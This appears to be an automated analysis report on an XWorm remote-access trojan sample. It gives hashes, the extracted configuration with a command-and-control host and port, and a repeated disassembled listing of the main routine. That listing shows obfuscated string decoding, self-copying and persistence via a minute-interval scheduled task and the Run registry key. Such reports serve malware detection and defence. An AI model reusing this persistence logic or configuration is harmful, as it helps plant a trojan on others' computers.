0580b1a869cf7fa0aaa2db75b676cf93
PE Executable | MD5: 0580b1a869cf7fa0aaa2db75b676cf93 | Size: 62.98 KB | application/x-dosexec
Symbol Ofbuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 0580b1a869cf7fa0aaa2db75b676cf93
|
| Sha1 | 1b3308718bf5362f9a4e304072fc5cf60ef26596
|
| Sha256 | ef8a0efc4e9a1b49e0b6d347f72c974a059c6537427640460c79b537f34e1bac
|
| Sha384 | a5f7f81e625c9f645f4f5a187a2d6930be068bef1193e11317e48dc65e9047e82634e0d20155bc0996d8bb65a1fb58b3
|
| Sha512 | 88713bf3c0ebe6eafe2194f904759173ae92d1202b82376fa5d4833ef5975fb1ae393aca1637defb10eb266a6ea78c51ff63124b686934e0bae31f03ce0f5196
|
| SSDeep | 1536:BpJeuqTsAUUy5R0zCbhscCg699aqLlma7j:BXefALUy5Wmbhy9aqLlmQj
|
| TLSH | 2E534B287BF50925E1FEAF7059E2BA66C675F3135A03D66F24C0038A1B27A48CD41BF5
|
PeID
|
Config. Field0 | Value |
|---|---|
| Mutex | jG6VglHQp1XD8w7r |
| Hosts | thought-write.gl.at.ply.gg |
| Port | 49124 |
| KEY | <666666> |
| USBNM | <XWormmm> |
| LoggerPath | %Public% |
| family | xworm |
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | XWormClient.exe |
| Full Name | XWormClient.exe |
| EntryPoint | System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӓ() |
| Scope Name | XWormClient.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | XWormClient |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 380 |
| Main Method | System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӓ() |
| Main IL Instruction Count | 241 |
| Main IL | ldsfld System.Int32 ywkNy2w5BFwCScwQAoKv8BNj1B::@Ә ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӓ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӓ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӕ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӕ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӗ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӗ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӗ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӗ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ә call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ә ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӛ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӛ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӛ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӛ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӟ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӟ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӡ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӡ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӡ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӡ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӣ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӣ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӣ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӣ leave.s IL_012F: call System.Boolean @Ӣ::@Ӵ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_012F: call System.Boolean @Ӣ::@Ӵ() call System.Boolean @Ӣ::@Ӵ() brtrue.s IL_013C: call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӗ() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӗ() leave.s IL_0152: call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӕ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0152: call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӕ() call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӕ() ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӛ ldstr \ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0199: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_01B0: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String @Ӣ::@ӗ call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_01DB: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01DB: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.2vM5o6DK0OBa516Uo1zQSenDR4::@ӣ() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0241: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0285: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_02A6: call My.N63fpl1LUh2c438sxKLhoqGfgwx7pYY0XQhsIhWSHB6leYnw9DueX9JqMMsTtm5N4LvzBYieRE8VQu4M07P My.pnKEuiSljBAFNagDQGBkUE04pASARdMsHtLIeAtpii9KcqMURVS3g88Xjo3E6u7ZZdMB21wZwOHJfXHaGJf::pG1E5LihbjrqfJCAXJ8njNIC6XJt6N9A5LhQrl9I0cNzB7jb9WrzPtqa0KMlfnZS7keaciOQHhw0i0sjbAm() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02A6: call My.N63fpl1LUh2c438sxKLhoqGfgwx7pYY0XQhsIhWSHB6leYnw9DueX9JqMMsTtm5N4LvzBYieRE8VQu4M07P My.pnKEuiSljBAFNagDQGBkUE04pASARdMsHtLIeAtpii9KcqMURVS3g88Xjo3E6u7ZZdMB21wZwOHJfXHaGJf::pG1E5LihbjrqfJCAXJ8njNIC6XJt6N9A5LhQrl9I0cNzB7jb9WrzPtqa0KMlfnZS7keaciOQHhw0i0sjbAm() call My.N63fpl1LUh2c438sxKLhoqGfgwx7pYY0XQhsIhWSHB6leYnw9DueX9JqMMsTtm5N4LvzBYieRE8VQu4M07P My.pnKEuiSljBAFNagDQGBkUE04pASARdMsHtLIeAtpii9KcqMURVS3g88Xjo3E6u7ZZdMB21wZwOHJfXHaGJf::pG1E5LihbjrqfJCAXJ8njNIC6XJt6N9A5LhQrl9I0cNzB7jb9WrzPtqa0KMlfnZS7keaciOQHhw0i0sjbAm() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_02E1: call System.Void @Ӣ::@Ө() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02E1: call System.Void @Ӣ::@Ө() call System.Void @Ӣ::@Ө() ldnull <null> ldftn System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӟ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӟ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.2vM5o6DK0OBa516Uo1zQSenDR4::@ӣ() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0323: call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӕ() call System.Void Stub.XIzoVzP0z5u::@ӕ() call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӕ() ldnull <null> ldftn System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӡ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӡ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
| Module Name | XWormClient.exe |
| Full Name | XWormClient.exe |
| EntryPoint | System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӓ() |
| Scope Name | XWormClient.exe |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | XWormClient |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 380 |
| Main Method | System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӓ() |
| Main IL Instruction Count | 241 |
| Main IL | ldsfld System.Int32 ywkNy2w5BFwCScwQAoKv8BNj1B::@Ә ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӓ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӓ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӕ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӕ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӗ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӗ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӗ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӗ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ә call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ә ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӛ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӛ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӛ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӛ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӟ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӟ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӡ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӡ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӡ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӡ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӣ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӣ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӣ call System.Object Stub.2rVVhFhdO6Q::@ӓ(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӣ leave.s IL_012F: call System.Boolean @Ӣ::@Ӵ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_012F: call System.Boolean @Ӣ::@Ӵ() call System.Boolean @Ӣ::@Ӵ() brtrue.s IL_013C: call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӗ() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӗ() leave.s IL_0152: call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӕ() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0152: call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӕ() call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӕ() ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@ӛ ldstr \ ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.String System.String::Concat(System.String,System.String,System.String) stloc.0 <null> ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory() callvirt System.String System.IO.DirectoryInfo::get_FullName() stloc.s V_5 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_0199: ldloc.0 ldloc.s V_5 call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.0 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_01B0: ldc.i4 1000 ldloc.0 <null> newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.0 <null> ldsfld System.String @Ӣ::@ӗ call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_01DB: ldstr "schtasks.exe" dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01DB: ldstr "schtasks.exe" ldstr schtasks.exe newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_9 ldloc.s V_9 ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.String Stub.2vM5o6DK0OBa516Uo1zQSenDR4::@ӣ() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0241: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) br.s IL_0285: ldloc.s V_9 ldloc.s V_9 ldc.i4.5 <null> newarr System.String stloc.s V_12 ldloc.s V_12 ldc.i4.0 <null> ldstr /create /f /sc minute /mo 1 /tn " stelem.ref <null> ldloc.s V_12 ldc.i4.1 <null> ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) stelem.ref <null> ldloc.s V_12 ldc.i4.2 <null> ldstr " /tr " stelem.ref <null> ldloc.s V_12 ldc.i4.3 <null> ldloc.0 <null> stelem.ref <null> ldloc.s V_12 ldc.i4.4 <null> ldstr " stelem.ref <null> ldloc.s V_12 call System.String System.String::Concat(System.String[]) callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String) ldloc.s V_9 call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_8 ldloc.s V_8 callvirt System.Void System.Diagnostics.Process::WaitForExit() leave.s IL_02A6: call My.N63fpl1LUh2c438sxKLhoqGfgwx7pYY0XQhsIhWSHB6leYnw9DueX9JqMMsTtm5N4LvzBYieRE8VQu4M07P My.pnKEuiSljBAFNagDQGBkUE04pASARdMsHtLIeAtpii9KcqMURVS3g88Xjo3E6u7ZZdMB21wZwOHJfXHaGJf::pG1E5LihbjrqfJCAXJ8njNIC6XJt6N9A5LhQrl9I0cNzB7jb9WrzPtqa0KMlfnZS7keaciOQHhw0i0sjbAm() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_10 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02A6: call My.N63fpl1LUh2c438sxKLhoqGfgwx7pYY0XQhsIhWSHB6leYnw9DueX9JqMMsTtm5N4LvzBYieRE8VQu4M07P My.pnKEuiSljBAFNagDQGBkUE04pASARdMsHtLIeAtpii9KcqMURVS3g88Xjo3E6u7ZZdMB21wZwOHJfXHaGJf::pG1E5LihbjrqfJCAXJ8njNIC6XJt6N9A5LhQrl9I0cNzB7jb9WrzPtqa0KMlfnZS7keaciOQHhw0i0sjbAm() call My.N63fpl1LUh2c438sxKLhoqGfgwx7pYY0XQhsIhWSHB6leYnw9DueX9JqMMsTtm5N4LvzBYieRE8VQu4M07P My.pnKEuiSljBAFNagDQGBkUE04pASARdMsHtLIeAtpii9KcqMURVS3g88Xjo3E6u7ZZdMB21wZwOHJfXHaGJf::pG1E5LihbjrqfJCAXJ8njNIC6XJt6N9A5LhQrl9I0cNzB7jb9WrzPtqa0KMlfnZS7keaciOQHhw0i0sjbAm() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String ywkNy2w5BFwCScwQAoKv8BNj1B::@Ӝ call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.0 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) leave.s IL_02E1: call System.Void @Ӣ::@Ө() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_11 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02E1: call System.Void @Ӣ::@Ө() call System.Void @Ӣ::@Ө() ldnull <null> ldftn System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӟ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӟ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() call System.String Stub.2vM5o6DK0OBa516Uo1zQSenDR4::@ӣ() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_0323: call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӕ() call System.Void Stub.XIzoVzP0z5u::@ӕ() call System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӕ() ldnull <null> ldftn System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@Ӡ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Ve1otma9BHscNLFnhlt0walRuz::@ӡ() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null> |
|
Name0 | Value |
|---|---|
| Mutex | jG6VglHQp1XD8w7r |
| CnC | thought-write.gl.at.ply.gg |
| Port | 49124 |
|
Config. Field0 | Value |
|---|---|
| Mutex | jG6VglHQp1XD8w7r |
| Hosts | thought-write.gl.at.ply.gg |
| Port | 49124 |
| KEY | <666666> |
| USBNM | <XWormmm> |
| LoggerPath | %Public% |
| family | xworm |
|
Name0 | Value | Location |
|---|---|---|
